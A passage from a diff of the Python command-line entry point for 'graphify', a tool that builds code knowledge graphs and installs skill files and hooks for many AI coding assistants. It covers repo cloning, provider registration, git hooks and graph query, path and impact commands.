encoding="utf-8") + print(f" .codebuddy/settings.json -> PreToolUse hooks registered") + + +def _uninstall_codebuddy_hook(project_dir: Path) -> None: + """Remove graphify PreToolUse hook from .codebuddy/settings.json.""" + settings_path = project_dir / ".codebuddy" / "settings.json" + if not settings_path.exists(): + return + try: + settings = json.loads(settings_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + return + pre_tool = settings.get("hooks", {}).get("PreToolUse", []) + filtered = [h for h in pre_tool if not (h.get("matcher") in ("Glob|Grep", "Bash", "Read|Glob") and "graphify" in str(h))] + if len(filtered) == len(pre_tool): + return + settings["hooks"]["PreToolUse"] = filtered + settings_path.write_text(json.dumps(settings, indent=2), encoding="utf-8") + print(f" .codebuddy/settings.json -> PreToolUse hook removed") + + +def codebuddy_uninstall(project_dir: Path | None = None, *, project: bool = False) -> None: + """Remove the graphify skill tree (SKILL.md + references/) and the CODEBUDDY.md section.""" + project_dir = project_dir or Path(".") + _remove_skill_file("codebuddy", project=project, project_dir=project_dir) + target = project_dir / "CODEBUDDY.md" + + if not target.exists(): + print("No CODEBUDDY.md found in current directory - nothing to do") + return + + content = target.read_text(encoding="utf-8") + if _CODEBUDDY_MD_MARKER not in content: + print("graphify section not found in CODEBUDDY.md - nothing to do") + return + + # Remove the ## graphify section: from the marker to the next ## heading or EOF + cleaned = re.sub( + r"\n*## graphify\n.*?(?=\n## |\Z)", + "", + content, + flags=re.DOTALL, + ).rstrip() + if cleaned: + target.write_text(cleaned + "\n", encoding="utf-8") + print(f"graphify section removed from {target.resolve()}") + else: + target.unlink() + print(f"CODEBUDDY.md was empty after removal - deleted {target.resolve()}") + + _uninstall_codebuddy_hook(project_dir or Path(".")) + +def _clone_repo( + url: str, branch: str | None = None, out_dir: Path | None = None +) -> Path: + """Clone a GitHub repo to a local cache dir and return the path. + + Clones into ~/.graphify/repos// by default so repeated + runs on the same URL reuse the existing clone (git pull instead of clone). + """ + import subprocess as _sp + import re as _re + + # Normalise URL — strip trailing .git if present + url = url.rstrip("/") + if not url.endswith(".git"): + git_url = url + ".git" + else: + git_url = url + url = url[:-4] + + # Extract owner/repo from URL + m = _re.search(r"github\.com[:/]([^/]+)/([^/]+?)(?:\.git)?$", url) + if not m: + print(f"error: not a recognised GitHub URL: {url}", file=sys.stderr) + sys.exit(1) + owner, repo = m.group(1), m.group(2) + + if out_dir: + dest = out_dir + else: + dest = Path.home() / ".graphify" / "repos" / owner / repo + + if branch and branch.startswith("-"): + print(f"error: invalid branch name: {branch!r}", file=sys.stderr) + sys.exit(1) + + if dest.exists(): + print(f"Repo already cloned at {dest} - pulling latest...", flush=True) + cmd = ["git", "-C", str(dest), "pull"] + if branch: + cmd += ["origin", "--", branch] + result = _sp.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"warning: git pull failed:\n{result.stderr}", file=sys.stderr) + else: + dest.parent.mkdir(parents=True, exist_ok=True) + print(f"Cloning {url} -> {dest} ...", flush=True) + cmd = ["git", "clone", "--depth", "1"] + if branch: + cmd += ["--branch", branch] + cmd += ["--", git_url, str(dest)] + result = _sp.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"error: git clone failed:\n{result.stderr}", file=sys.stderr) + sys.exit(1) + + print(f"Ready at: {dest}", flush=True) + return dest + + +def main() -> None: + for _stream in (sys.stdout, sys.stderr): + if _stream is not None and hasattr(_stream, "reconfigure"): + try: + _stream.reconfigure(encoding="utf-8", errors="replace") + except Exception: + pass + # Check all known skill install locations for a stale version stamp. + # Skip during install/uninstall (hook writes trigger a fresh check anyway). + # Skip during hook-check — it runs on every editor tool use and must be silent. + # Deduplicate paths so platforms sharing the same install dir don't warn twice. + _silent_cmds = {"install", "uninstall", "hook-check"} + if not any(arg in _silent_cmds for arg in sys.argv): + # Resolve each platform's real user-scope destination so per-platform + # overrides (gemini, opencode, devin, antigravity, amp) check the dir + # they actually install into, not the bare cfg['skill_dst']. + for skill_dst in {_platform_skill_destination(name) for name in _PLATFORM_CONFIG}: + _check_skill_version(skill_dst) + + if len(sys.argv) >= 2 and sys.argv[1] in ("-v", "--version", "version"): + print(f"graphify {__version__}") + return + + if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help", "-?"): + print("Usage: graphify ") + print() + print("Commands:") + print(" install [--platform P] copy skill to platform config dir (claude|windows|codebuddy|codex|opencode|aider|amp|claw|droid|trae|trae-cn|gemini|cursor|antigravity|hermes|kiro|pi|devin)") + print(" uninstall remove graphify from all detected platforms in one shot") + print(" --purge also delete graphify-out/ directory") + print(" path \"A\" \"B\" shortest path between two nodes in graph.json") + print(" --graph path to graph.json (default graphify-out/graph.json)") + print(" explain \"X\" plain-language explanation of a node and its neighbors") + print(" --graph path to graph.json (default graphify-out/graph.json)") + print(" diagnose multigraph report same-endpoint edge collapse risk in graph.json") + print(" --graph path to graph/extraction JSON") + print(" (default graphify-out/graph.json)") + print(" --json emit machine-readable JSON") + print(" --max-examples N max same-endpoint examples to print (default 5)") + print(" --directed force directed post-build simulation") + print(" --undirected force undirected post-build simulation") + print(" (default follows JSON directed flag;") + print(" raw extraction with no flag defaults directed)") + print(" --extract-path PATH extractor source for suppression scan") + print(" clone clone a GitHub repo locally and print its path for /graphify") + print(" merge-driver git merge driver: union-merge two graph.json files (set up via hook install)") + print(" merge-graphs merge two or more graph.json files into one cross-repo graph") + print(" --out output path (default: graphify-out/merged-graph.json)") + print(" --branch checkout a specific branch (default: repo default)") + print(" --out clone to a custom directory (default: ~/.graphify/repos//)") + print(" add fetch a URL and save it to ./raw, then update the graph") + print(" --author \"Name\" tag the author of the content") + print(" --contributor \"Name\" tag who added it to the corpus") + print(" --dir target directory (default: ./raw)") + print(" watch watch a folder and rebuild the graph on code changes") + print(" update re-extract code files and update the graph (no LLM needed)") + print(" --force overwrite graph.json even if the rebuild has fewer nodes") + print(" (also: GRAPHIFY_FORCE=1 env var; use after refactors that delete code)") + print(" --no-cluster skip clustering, write raw extraction only") + print(" cluster-only rerun clustering on an existing graph.json and regenerate report") + print(" --no-viz skip graph.html generation (useful for >5000 node graphs / CI)") + print(" --graph path to graph.json (default /graphify-out/graph.json)") + print(" --no-label keep 'Community N' placeholders (skip LLM community naming)") + print(" --backend= backend to use for community naming (default: auto-detect)") + print(" label (re)name communities with the configured LLM backend, regenerate report") + print(" --backend= backend to use (default: auto-detect from API keys)") + print(" query \"\" BFS traversal of graph.json for a question") + print(" --dfs use depth-first instead of breadth-first") + print(" --context C explicit edge-context filter (repeatable)") + print(" --budget N cap output at N tokens (default 2000)") + print(" --graph path to graph.json (default graphify-out/graph.json)") + print(" affected \"X\" reverse traversal to find nodes impacted by X") + print(" --relation R edge relation to traverse in reverse (repeatable)") + print(" --depth N reverse traversal depth (default 2)") + print(" --graph path to graph.json (default graphify-out/graph.json)") + print(" save-result save a Q&A result to graphify-out/memory/ for graph feedback loop") + print(" --question Q the question asked") + print(" --answer A the answer to save") + print( + " --type T query type: query|path_query|explain (default: query)" + ) + print(" --nodes N1 N2 ... source node labels cited in the answer") + print(" --memory-dir DIR memory directory (default: graphify-out/memory)") + print(" check-update check needs_update flag and notify if semantic re-extraction is pending (cron-safe)") + print(" tree emit a D3 v7 collapsible-tree HTML for graph.json") + print(" --graph PATH path to graph.json (default graphify-out/graph.json)") + print(" --output HTML output path (default graphify-out/GRAPH_TREE.html)") + print(" --root PATH filesystem root for the hierarchy") + print(" --max-children N cap children per node (default 200)") + print(" --top-k-edges N per-symbol outbound edges in inspector (default 12)") + print(" --label NAME project label in header") + print(" extract headless full extraction (AST + semantic LLM) for CI/scripts") + print(" --backend B gemini|kimi|claude|openai|deepseek|ollama (default: whichever API key is set)") + print(" --model M override backend default model") + print(" --mode deep aggressive INFERRED-edge semantic extraction") + print(" --max-workers N AST extraction subprocess count (default: cpu_count)") + print(" --token-budget N per-chunk token cap for semantic extraction (default: 60000)") + print(" --max-concurrency N parallel semantic chunks in flight (default: 4; set 1 for local LLMs)") + print(" --api-timeout S per-request timeout in seconds for the LLM client (default: 600)") + print(" --out DIR output dir (default: ); writes /graphify-out/") + print(" --google-workspace export .gdoc/.gsheet/.gslides shortcuts via gws before extraction") + print(" --no-cluster skip clustering, write raw extraction only") + print(" --postgres DSN extract schema from a live PostgreSQL database") + print(" maps tables, views, functions + FK relationships;") + print(" column-level detail is not represented in the graph") + print(" --global also merge the resulting graph into the global graph") + print(" --as repo tag for --global (default: target directory name)") + print(" global add add/update a project graph in the global graph (~/.graphify/global-graph.json)") + print(" --as repo tag (default: parent directory name)") + print(" global remove remove a repo's nodes from the global graph") + print(" global list list repos in the global graph") + print(" global path print path to the global graph file") + print(" benchmark [graph.json] measure token reduction vs naive full-corpus approach") + print(" export callflow-html emit Mermaid-based architecture/call-flow HTML") + print(" hook install install post-commit/post-checkout git hooks (all platforms)") + print(" hook uninstall remove git hooks") + print(" hook status check if git hooks are installed") + print( + " gemini install write GEMINI.md section + BeforeTool hook (Gemini CLI)" + ) + print(" gemini uninstall remove GEMINI.md section + BeforeTool hook") + print(" cursor install write .cursor/rules/graphify.mdc (Cursor)") + print(" cursor uninstall remove .cursor/rules/graphify.mdc") + print(" claude install write graphify section to CLAUDE.md + PreToolUse hook (Claude Code)") + print(" claude uninstall remove graphify section from CLAUDE.md + PreToolUse hook") + print(" codebuddy install write graphify section to CODEBUDDY.md + PreToolUse hook (CodeBuddy)") + print(" codebuddy uninstall remove graphify section from CODEBUDDY.md + PreToolUse hook") + print(" codex install write graphify section to AGENTS.md (Codex)") + print(" codex uninstall remove graphify section from AGENTS.md") + print( + " opencode install write graphify section to AGENTS.md + tool.execute.before plugin (OpenCode)" + ) + print( + " opencode uninstall remove graphify section from AGENTS.md + plugin" + ) + print( + " kilo install install native Kilo skill + command + AGENTS.md + .kilo plugin" + ) + print( + " kilo uninstall remove native Kilo skill + command + AGENTS.md + .kilo plugin" + ) + print(" aider install write graphify section to AGENTS.md (Aider)") + print(" aider uninstall remove graphify section from AGENTS.md") + print( + " copilot install copy graphify skill to ~/.copilot/skills (GitHub Copilot CLI)" + ) + print(" copilot uninstall remove graphify skill from ~/.copilot/skills") + print( + " vscode install configure VS Code Copilot Chat (skill + .github/copilot-instructions.md)" + ) + print(" vscode uninstall remove VS Code Copilot Chat configuration") + print( + " claw install write graphify section to AGENTS.md (OpenClaw)" + ) + print(" claw uninstall remove graphify section from AGENTS.md") + print( + " droid install write graphify section to AGENTS.md (Factory Droid)" + ) + print(" droid uninstall remove graphify section from AGENTS.md") + print(" trae install write graphify section to AGENTS.md (Trae)") + print(" trae uninstall remove graphify section from AGENTS.md") + print(" trae-cn install write graphify section to AGENTS.md (Trae CN)") + print(" trae-cn uninstall remove graphify section from AGENTS.md") + print( + " antigravity install write .agents/rules + .agents/workflows + skill (Google Antigravity)" + ) + print( + " antigravity uninstall remove .agents/rules, .agents/workflows, and skill" + ) + print( + " hermes install write skill to ~/.hermes/skills/graphify/ (Hermes)" + ) + print(" hermes uninstall remove skill from ~/.hermes/skills/graphify/") + print( + " kiro install write skill to .kiro/skills/graphify/ + steering file (Kiro IDE/CLI)" + ) + print(" kiro uninstall remove skill + steering file") + print(" pi install write skill to ~/.pi/agent/skills/graphify/ (Pi coding agent)") + print(" pi uninstall remove skill from ~/.pi/agent/skills/graphify/") + print(" devin install write skill to ~/.config/devin/skills/graphify/ (Devin CLI)") + print(" devin uninstall remove skill from ~/.config/devin/skills/graphify/") + print() + return + + cmd = sys.argv[1] + + # Universal help guard: -h/--help/-? anywhere after the command shows help + # and stops — prevents flags from silently triggering destructive subcommands + # (e.g. "cursor install --help" was silently installing into Cursor, #821). + # Exempt: free-text commands (user string may contain these tokens), and + # "install"/"uninstall" which have their own per-subcommand help handlers. + _FREE_TEXT_CMDS = {"query", "explain", "path", "save-result", "install", "uninstall"} + if cmd not in _FREE_TEXT_CMDS and any(a in {"-h", "--help", "-?"} for a in sys.argv[2:]): + print(f"Run 'graphify --help' for full usage.") + return + + if cmd == "install": + # Default to windows platform on Windows, claude elsewhere + default_platform = "windows" if platform.system() == "Windows" else "claude" + selected_platform: str | None = None + project_scope = False + args = sys.argv[2:] + i = 0 + while i < len(args): + arg = args[i] + if arg in ("-h", "--help"): + _print_install_usage() + return + if arg == "--project": + project_scope = True + i += 1 + elif arg.startswith("--platform="): + candidate = arg.split("=", 1)[1] + if selected_platform and selected_platform != candidate: + print("error: specify install platform only once", file=sys.stderr) + sys.exit(1) + selected_platform = candidate + i += 1 + elif arg == "--platform": + if i + 1 >= len(args): + print("error: --platform requires a value", file=sys.stderr) + sys.exit(1) + candidate = args[i + 1] + if selected_platform and selected_platform != candidate: + print("error: specify install platform only once", file=sys.stderr) + sys.exit(1) + selected_platform = candidate + i += 2 + elif arg.startswith("-"): + print(f"error: unknown install option '{arg}'", file=sys.stderr) + sys.exit(1) + else: + if selected_platform and selected_platform != arg: + print("error: specify install platform only once", file=sys.stderr) + sys.exit(1) + selected_platform = arg + i += 1 + chosen_platform = selected_platform or default_platform + if project_scope: + _project_install(chosen_platform, Path(".")) + else: + install(platform=chosen_platform) + elif cmd == "uninstall": + args = sys.argv[2:] + purge = "--purge" in args + project_scope = "--project" in args + selected_platform = None + i = 0 + while i < len(args): + arg = args[i] + if arg in ("--purge", "--project"): + i += 1 + elif arg.startswith("--platform="): + selected_platform = arg.split("=", 1)[1] + i += 1 + elif arg == "--platform": + if i + 1 >= len(args): + print("error: --platform requires a value", file=sys.stderr) + sys.exit(1) + selected_platform = args[i + 1] + i += 2 + elif arg.startswith("-"): + print(f"error: unknown uninstall option '{arg}'", file=sys.stderr) + sys.exit(1) + else: + selected_platform = arg + i += 1 + if project_scope: + if selected_platform: + _project_uninstall(selected_platform, Path(".")) + else: + _project_uninstall_all(Path(".")) + else: + uninstall_all(purge=purge) + elif cmd == "claude": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("claude", Path(".")) + else: + claude_install() + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("claude", Path(".")) + else: + claude_uninstall() + else: + print("Usage: graphify claude [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "codebuddy": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + codebuddy_install() + elif subcmd == "uninstall": + codebuddy_uninstall() + else: + print("Usage: graphify codebuddy [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "gemini": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + gemini_install(project=("--project" in sys.argv[3:])) + elif subcmd == "uninstall": + gemini_uninstall(project=("--project" in sys.argv[3:])) + else: + print("Usage: graphify gemini [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "cursor": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + _cursor_install(Path(".")) + elif subcmd == "uninstall": + _cursor_uninstall(Path(".")) + else: + print("Usage: graphify cursor [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "vscode": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + vscode_install() + elif subcmd == "uninstall": + vscode_uninstall() + else: + print("Usage: graphify vscode [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "copilot": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("copilot", Path(".")) + else: + install(platform="copilot") + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("copilot", Path(".")) + else: + removed = _remove_skill_file("copilot") + print("skill removed" if removed else "nothing to remove") + else: + print("Usage: graphify copilot [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "kilo": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + _kilo_install(Path(".")) + elif subcmd == "uninstall": + _kilo_uninstall(Path(".")) + else: + print("Usage: graphify kilo [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "kiro": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + _kiro_install(Path(".")) + elif subcmd == "uninstall": + _kiro_uninstall(Path(".")) + else: + print("Usage: graphify kiro [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "devin": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("devin", Path(".")) + else: + install(platform="devin") + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("devin", Path(".")) + else: + removed = _remove_skill_file("devin") + print("skill removed" if removed else "nothing to remove") + else: + print("Usage: graphify devin [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "pi": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("pi", Path(".")) + else: + install("pi") + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("pi", Path(".")) + else: + _remove_skill_file("pi") + else: + print("Usage: graphify pi [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "amp": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("amp", Path(".")) + else: + _amp_install(Path(".")) + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("amp", Path(".")) + else: + _amp_uninstall(Path(".")) + else: + print("Usage: graphify amp [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd in ("aider", "codex", "opencode", "claw", "droid", "trae", "trae-cn", "hermes"): + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install(cmd, Path(".")) + else: + _agents_install(Path("."), cmd) + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall(cmd, Path(".")) + else: + _agents_uninstall(Path("."), platform=cmd) + if cmd == "codex": + _uninstall_codex_hook(Path(".")) + else: + print(f"Usage: graphify {cmd} [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "antigravity": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + if "--project" in sys.argv[3:]: + _project_install("antigravity", Path(".")) + else: + _antigravity_install(Path(".")) + elif subcmd == "uninstall": + if "--project" in sys.argv[3:]: + _project_uninstall("antigravity", Path(".")) + else: + _antigravity_uninstall(Path(".")) + else: + print("Usage: graphify antigravity [install|uninstall]", file=sys.stderr) + sys.exit(1) + elif cmd == "provider": + from graphify.llm import _custom_providers_path, BACKENDS + import json as _json + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + global_path = _custom_providers_path(global_=True) + + if subcmd == "list": + global_path.parent.mkdir(parents=True, exist_ok=True) + existing: dict = {} + if global_path.is_file(): + try: + existing = _json.loads(global_path.read_text(encoding="utf-8")) + except Exception: + pass + if not existing: + print("No custom providers registered.") + else: + for name in existing: + print(f" {name} ({existing[name].get('base_url', '')})") + + elif subcmd == "show": + name = sys.argv[3] if len(sys.argv) > 3 else "" + if not name: + print("Usage: graphify provider show ", file=sys.stderr) + sys.exit(1) + existing = {} + if global_path.is_file(): + try: + existing = _json.loads(global_path.read_text(encoding="utf-8")) + except Exception: + pass + if name not in existing: + print(f"Provider '{name}' not found.", file=sys.stderr) + sys.exit(1) + print(_json.dumps({name: existing[name]}, indent=2)) + + elif subcmd == "add": + args = sys.argv[3:] + name = args[0] if args and not args[0].startswith("-") else "" + if not name: + print("Usage: graphify provider add --base-url URL --default-model MODEL --env-key KEY", file=sys.stderr) + sys.exit(1) + if name in BACKENDS: + print(f"Error: '{name}' is a built-in provider and cannot be overridden.", file=sys.stderr) + sys.exit(1) + base_url = "" + default_model = "" + env_key = "" + pricing_input = 0.0 + pricing_output = 0.0 + i = 1 + while i < len(args): + a = args[i] + if a == "--base-url" and i + 1 < len(args): + base_url = args[i + 1]; i += 2 + elif a.startswith("--base-url="): + base_url = a.split("=", 1)[1]; i += 1 + elif a == "--default-model" and i + 1 < len(args): + default_model = args[i + 1]; i += 2 + elif a.startswith("--default-model="): + default_model = a.split("=", 1)[1]; i += 1 + elif a == "--env-key" and i + 1 < len(args): + env_key = args[i + 1]; i += 2 + elif a.startswith("--env-key="): + env_key = a.split("=", 1)[1]; i += 1 + elif a == "--pricing-input" and i + 1 < len(args): + pricing_input = float(args[i + 1]); i += 2 + elif a == "--pricing-output" and i + 1 < len(args): + pricing_output = float(args[i + 1]); i += 2 + else: + i += 1 + if not base_url or not default_model or not env_key: + print("Error: --base-url, --default-model, and --env-key are required.", file=sys.stderr) + sys.exit(1) + from graphify.llm import provider_base_url_ok + if not provider_base_url_ok(base_url, name): + print(f"Error: refusing to add provider with unsafe base_url {base_url!r}.", file=sys.stderr) + sys.exit(1) + global_path.parent.mkdir(parents=True, exist_ok=True) + existing = {} + if global_path.is_file(): + try: + existing = _json.loads(global_path.read_text(encoding="utf-8")) + except Exception: + pass + existing[name] = { + "base_url": base_url, + "default_model": default_model, + "env_key": env_key, + "pricing": {"input": pricing_input, "output": pricing_output}, + "temperature": 0, + } + global_path.write_text(_json.dumps(existing, indent=2) + "\n", encoding="utf-8") + print(f"Provider '{name}' added. Use with: graphify extract . --backend {name}") + + elif subcmd == "remove": + name = sys.argv[3] if len(sys.argv) > 3 else "" + if not name: + print("Usage: graphify provider remove ", file=sys.stderr) + sys.exit(1) + existing = {} + if global_path.is_file(): + try: + existing = _json.loads(global_path.read_text(encoding="utf-8")) + except Exception: + pass + if name not in existing: + print(f"Provider '{name}' not found.", file=sys.stderr) + sys.exit(1) + del existing[name] + global_path.write_text(_json.dumps(existing, indent=2) + "\n", encoding="utf-8") + print(f"Provider '{name}' removed.") + + else: + print("Usage: graphify provider [add|list|show|remove]", file=sys.stderr) + if subcmd: + sys.exit(1) + elif cmd == "prs": + from graphify.prs import cmd_prs + cmd_prs(sys.argv[2:]) + elif cmd == "hook": + from graphify.hooks import ( + install as hook_install, + uninstall as hook_uninstall, + status as hook_status, + ) + + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd == "install": + print(hook_install(Path("."))) + elif subcmd == "uninstall": + print(hook_uninstall(Path("."))) + elif subcmd == "status": + print(hook_status(Path("."))) + else: + print("Usage: graphify hook [install|uninstall|status]", file=sys.stderr) + sys.exit(1) + elif cmd == "query": + if len(sys.argv) < 3: + print("Usage: graphify query \"\" [--dfs] [--context C] [--budget N] [--graph path]", file=sys.stderr) + sys.exit(1) + from graphify.serve import _query_graph_text + from graphify.security import sanitize_label + from networkx.readwrite import json_graph + from graphify import querylog + + question = sys.argv[2] + use_dfs = "--dfs" in sys.argv + budget = 2000 + graph_path = _default_graph_path() + context_filters: list[str] = [] + args = sys.argv[3:] + i = 0 + while i < len(args): + if args[i] == "--budget" and i + 1 < len(args): + try: + budget = int(args[i + 1]) + except ValueError: + print(f"error: --budget must be an integer", file=sys.stderr) + sys.exit(1) + i += 2 + elif args[i].startswith("--budget="): + try: + budget = int(args[i].split("=", 1)[1]) + except ValueError: + print(f"error: --budget must be an integer", file=sys.stderr) + sys.exit(1) + i += 1 + elif args[i] == "--context" and i + 1 < len(args): + context_filters.append(args[i + 1]) + i += 2 + elif args[i].startswith("--context="): + context_filters.append(args[i].split("=", 1)[1]) + i += 1 + elif args[i] == "--graph" and i + 1 < len(args): + graph_path = args[i + 1] + i += 2 + else: + i += 1 + gp = Path(graph_path).resolve() + if not gp.exists(): + print(f"error: graph file not found: {gp}", file=sys.stderr) + sys.exit(1) + if not gp.suffix == ".json": + print(f"error: graph file must be a .json file", file=sys.stderr) + sys.exit(1) + _enforce_graph_size_cap_or_exit(gp) + try: + import json as _json + import networkx as _nx + + _raw = _json.loads(gp.read_text(encoding="utf-8")) + if "links" not in _raw and "edges" in _raw: + _raw = dict(_raw, links=_raw["edges"]) + try: + G = json_graph.node_link_graph(_raw, edges="links") + except TypeError: + G = json_graph.node_link_graph(_raw) + except Exception as exc: + print(f"error: could not load graph: {exc}", file=sys.stderr) + sys.exit(1) + import time as _time + _t0 = _time.perf_counter() + _mode = "dfs" if use_dfs else "bfs" + _result = _query_graph_text( + G, + question, + mode=_mode, + depth=2, + token_budget=budget, + context_filters=context_filters, + ) + querylog.log_query( + kind="query", + question=question, + corpus=str(gp), + result=_result, + mode=_mode, + depth=2, + token_budget=budget, + duration_ms=(_time.perf_counter() - _t0) * 1000, + ) + print(_result) + elif cmd == "affected": + if len(sys.argv) < 3: + print("Usage: graphify affected \"\" [--relation R] [--depth N] [--graph path]", file=sys.stderr) + sys.exit(1) + from graphify.affected import DEFAULT_AFFECTED_RELATIONS, format_affected, load_graph + query = sys.argv[2] + graph_path = "graphify-out/graph.json" + depth = 2 + relations: list[str] = [] + args = sys.argv[3:] + i = 0 + while i < len(args): + if args[i] == "--graph" and i + 1 < len(args): + graph_path = args[i + 1] + i += 2 + elif args[i].startswith("--graph="): + graph_path = args[i].split("=", 1)[1] + i += 1 + elif args[i] == "--depth" and i + 1 < len(args): + try: + depth = int(args[i + 1]) + except ValueError: + print("error: --depth must be an integer", file=sys.stderr) + sys.exit(1) + i += 2 + elif args[i].startswith("--depth="): + try: + depth = int(args[i].split("=", 1)[1]) + except ValueError: + print("error: --depth must be an integer", file=sys.stderr) + sys.exit(1) + i += 1 + elif args[i] == "--relation" and i + 1 < len(args): + relations.append(args[i + 1]) + i += 2 + elif args[i].startswith("--relation="): + relations.append(args[i].split("=", 1)[1]) + i += 1 + else: + i += 1 + gp = Path(graph_path).resolve() + if not gp.exists(): + print(f"error: graph file not found: {gp}", file=sys.stderr) + sys.exit(1) + if not gp.suffix == ".json": + print("error: graph file must be a .json file", file=sys.stderr) + sys.exit(1) + try: + graph = load_graph(gp) + except Exception as exc: + print(f"error: could not load graph: {exc}", file=sys.stderr) + sys.exit(1) + print( + format_affected( + graph, + query, + relations=relations or DEFAULT_AFFECTED_RELATIONS, + depth=depth, + ) + ) + elif cmd == "save-result": + # graphify save-result --question Q --answer A --type T [--nodes N1 N2 ...] + import argparse as _ap + + p = _ap.ArgumentParser(prog="graphify save-result") + p.add_argument("--question", required=True) + p.add_argument("--answer", required=True) + p.add_argument("--type", dest="query_type", default="query") + p.add_argument("--nodes", nargs="*", default=[]) + p.add_argument("--memory-dir", default="graphify-out/memory") + opts = p.parse_args(sys.argv[2:]) + from graphify.ingest import save_query_result as _sqr + + out = _sqr( + question=opts.question, + answer=opts.answer, + memory_dir=Path(opts.memory_dir), + query_type=opts.query_type, + source_nodes=opts.nodes or None, + ) + print(f"Saved to {out}") + elif cmd == "path": + if len(sys.argv) < 4: + print( + 'Usage: graphify path "" "" [--graph path]', + file=sys.stderr, + ) + sys.exit(1) + from graphify.serve import _score_nodes + from networkx.readwrite import json_graph + import networkx as _nx + + source_label = sys.argv[2] + target_label = sys.argv[3] + graph_path = _default_graph_path() + args = sys.argv[4:] + for i, a in enumerate(args): + if a == "--graph" and i + 1 < len(args): + graph_path = args[i + 1] + gp = Path(graph_path).resolve() + if not gp.exists(): + print(f"error: graph file not found: {gp}", file=sys.stderr) + sys.exit(1) + _enforce_graph_size_cap_or_exit(gp) + _raw = json.loads(gp.read_text(encoding="utf-8")) + if "links" not in _raw and "edges" in _raw: + _raw = dict(_raw, links=_raw["edges"]) + # Force directed so the renderer can recover stored caller→callee direction. + _raw = {**_raw, "directed": True} + try: + G = json_graph.node_link_graph(_raw, edges="links") + except TypeError: + G = json_graph.node_link_graph(_raw) + src_scored = _score_nodes(G, [t.lower() for t in source_label.split()]) + tgt_scored = _score_nodes(G, [t.lower() for t in target_label.split()]) + if not src_scored: + print(f"No node matching '{source_label}' found.", file=sys.stderr) + sys.exit(1) + if not tgt_scored: + print(f"No node matching '{target_label}' found.", file=sys.stderr) + sys.exit(1) + src_nid, tgt_nid = src_scored[0][1], tgt_scored[0][1] + # Ambiguity guard: when both queries resolve to the same node, the + # shortest path is trivially zero hops, which is almost never what the + # caller wanted (see bug #828). + if src_nid == tgt_nid: + print( + f"'{source_label}' and '{target_label}' both resolved to the same " + f"node '{src_nid}'. Use a more specific label or the exact node ID.", + file=sys.stderr, + ) + sys.exit(1) + for _name, _scored in (("source", src_scored), ("target", tgt_scored)): + if len(_scored) >= 2: + _top, _runner = _scored[0][0], _scored[1][0] + if _top > 0 and (_top - _runner) / _top < 0.10: + print( + f"warning: {_name} match was ambiguous " + f"(top score {_top:g}, runner-up {_runner:g})", + file=sys.stderr, + ) + try: + path_nodes = _nx.shortest_path(G.to_undirected(as_view=True), src_nid, tgt_nid) + except (_nx.NetworkXNoPath, _nx.NodeNotFound): + print(f"No path found between '{source_label}' and '{target_label}'.") + sys.exit(0) + hops = len(path_nodes) - 1 + segments = [] + from graphify.build import edge_data + for i in range(len(path_nodes) - 1): + u, v = path_nodes[i], path_nodes[i + 1] + # Check which direction the stored edge points. + if G.has_edge(u, v): + edata = edge_data(G, u, v) + forward = True + else: + edata = edge_data(G, v, u) + forward = False + rel = edata.get("relation", "") + conf = edata.get("confidence", "") + conf_str = f" [{conf}]" if conf else "" + if i == 0: + segments.append(G.nodes[u].get("label", u)) + if forward: + segments.append(f"--{rel}{conf_str}--> {G.nodes[v].get('label', v)}") + else: + segments.append(f"<--{rel}{conf_str}-- {G.nodes[v].get('label', v)}") + print(f"Shortest path ({hops} hops):\n " + " ".join(segments)) + from graphify import querylog + querylog.log_query( + kind="path", + question=f"{sys.argv[2]} -> {sys.argv[3]}", + corpus=str(gp), + nodes_returned=hops, + ) + + elif cmd == "explain": + if len(sys.argv) < 3: + print('Usage: graphify explain "" [--graph path]', file=sys.stderr) + sys.exit(1) + from graphify.serve import _find_node + from networkx.readwrite import 